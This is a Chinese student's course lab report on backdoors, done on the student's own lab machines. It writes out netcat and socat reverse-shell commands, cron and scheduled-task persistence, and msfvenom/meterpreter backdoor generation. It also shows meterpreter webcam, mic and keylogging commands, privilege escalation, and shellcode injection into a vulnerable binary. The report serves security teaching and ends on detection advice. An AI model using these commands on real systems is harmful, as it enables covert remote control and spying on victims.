2019-2020-2 20175315陈煜扬《网络对抗技术》Exp2 后门原理与实践
1 实践说明
1.1实践内容
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell,加分内容一并写入本实验报告
1.2基础知识
-
后门概念
- 后门就是不经过正常认证流程而访问系统的通道
-
哪里有后门
-
编译器留后门
-
操作系统留后门
-
最常见的当然还是应用程序中留后门
-
还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序
-
2 实践步骤
2.1 使用netcat获取主机操作Shell,cron启动
2.1.1 Windows获得Linux Shell
windows中通过win+R
——cmd
——ipconfig
查看IP地址
关闭防火墙,windows使用ncat.exe -l -p 5315
打开监听,并检查windows和linux的连通性。
注意:这里一定要关闭防火墙,不然会影响后面的步骤
linux使用nc 192.168.0.103 5315 -e /bin/sh
反弹连接windows
windows下获得一个linux shell,可运行任何指令,如ls
2.1.2 Linux获得Windows Shell
linux使用ifconfig
查看IP地址
这里遇到了一点问题,直接ifconfig指令并没有得到我们想要的结果,后来通过https://www.jianshu.com/p/5e3500243125找到了解决方法。
linux使用nc -l -p 5315
打开监听
windows使用ncat.exe -e cmd.exe 192.168.218.128 5315
反弹连接linux
linux下看到windows的命令提示
2.1.3 cron启动
linux使用crontab -e
并选择3进入编辑模式,在最后一行添加40 * * * * /bin/netcat 192.168.0.103 5315 -e /bin/sh,表示每个小时的第40分钟执行后面的那条指令
linux在40分钟时连接windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
2.1.4 nc传输数据
windows使用ncat.exe -l 5315
监听端口,linux使用nc 192.168.0.103 5315
反弹连接到windows的端口,连接建立成功后双方可互传输数据
2.2 使用socat获取主机操作Shell, 任务计划启动
2.2.1 socat
windows打开计算机管理,在任务计划程序中创建任务
新建操作,并在程序或脚本中选择socat.exe
路径,添加参数一栏填写tcp-listen:5334 exec:cmd.exe,pty,stderr
新建触发器,选择时间。到达时间后会自行触发
linux使用socat - tcp:192.168.1.4:5334
完成连接,获得windows shell
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
2.3.1 MSF meterpreter
linux使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.218.128 LPORT=5315 -f exe > backdoor5315.exe
生成后门程序
windows使用ncat.exe -lv 5315 > backdoor5315.exe
,查看连接状态
输入msfconsole
后进行如下操作:
(1)use exploit/multi/handler
,设置payload
(2)set payload windows/meterpreter/reverse_tcp
(3)set LHOST 192.168.218.128
,设置ip
(4)set LPORT 5315
,设置端口
(5)show options
,查看选项
(6)exploit
,可以看到已经获取到了Windows的shell,可以输入dir
来验证
linux使用exploit
开始监听,并在windows中运行后门程序,linux成功获得windows的shell
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
2.4.1 获取录音权限
linux使用record_mic
可以截取一段音频
linux使用webcam_snap
可以获取摄像头内容
linux使用keyscan_start
可以记录下击键的过程,使用keyscan_dump
可以读取击键记录
linux使用screenshot
可以进行截屏
linux使用getuid
可以查看当前用户,使用getsystem
可以进行提权操作
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.5.1 shellcode
在[Exploit DataBase](https://www.exploit-db.com/shellcodes)中搜索linux/x86 - Reverse
下载反弹连接的shellcode并提取其中的机器码
注入Shellcode
(1)在第一个终端里关闭地址随机化,输入echo "0" > /proc/sys/kernel/randomize_va_space
(2)在第一个终端中运行pwn1
之后不回车
(3)在第二个终端中输入ps -ef | grep pwn1
查看pwn1的进程号2394
(4)用GDB追踪该进程,找到栈顶(esp)中存放的地址为0xffffd37c,计算出shellcode地址就是 0xffffd37c+4,即0xffffd380。
①在第二个终端启动gdb
。
②输入attach 2394
启动gdb调试这个进程。
③输入disassemble foo
查看到ret的地址为0x080484ae。
④输入break *0x080484ae
在0x080484ae
处设置断点。
⑤在之前的终端中按一下回车,然后在调试的终端中输入c
继续运行。
⑥输入info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据:
(5)在第一个终端中中断pwn1运行
(6)在第二个终端中注入input_shellcode:
在第一个终端中打开msf(msfconsole
)控制台,依次输入:
(1)use exploit/multi/handler
,设置payload
(2)set payload linux/x86/shell_reverse_tcp
(3)set LHOST 127.0.0.1
,设置ip
(4)set LPORT 4444
,设置端口
(5)show options
,查看选项
(6)exploit
,设置完成,开始监听
运行shellcode
在第二个终端输入(cat input_shellcode;cat) | ./pwn1
运行pwn1文件,在第一个终端中可以看到已经成功调取了shell
3 问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
从非正规途径下载了某个程序,U盘携带,恶意网站等等
(2)例举你知道的后门如何启动起来(win及linux)的方式?
linux:定时启动 windows:修改注册表
(3)Meterpreter有哪些给你印象深刻的功能?
可以读取麦克风 摄像头等,当时拍下了我在镜头前的照片真的挺让人惊讶的。
(4)如何发现自己有系统有没有被安装后门?
经常杀毒,使用杀毒软件,并查看注册表和任务管理器,看看有没有异常进程。
4 实验中遇到的问题
(1)Linux中输入ifconfig显示未找到命令
https://www.jianshu.com/p/5e3500243125通过该网站解决了问题。
(2)在加分任务的时候发现最后监听不到。
自己操作不规范,导致当时的地址找错了,本来是ffffd37c,之前找错了一直以为是ffffd390?
5 实验心得与体会
本次实验较为简单,问题也不多,这些通过学长学姐的博客以及询问同学都能够得到解决。但是本次实验却非常有意思而且带给我的感触也是非常深刻的。让我感受到了后门的隐患以及危害,获得信息的手段多样而且对于那些攻击者来说可以说是轻而易举。所以电脑管家和杀毒软件还是非常必要的,虽说不能百分百保证安全,但就像人的免疫系统一样不可缺少!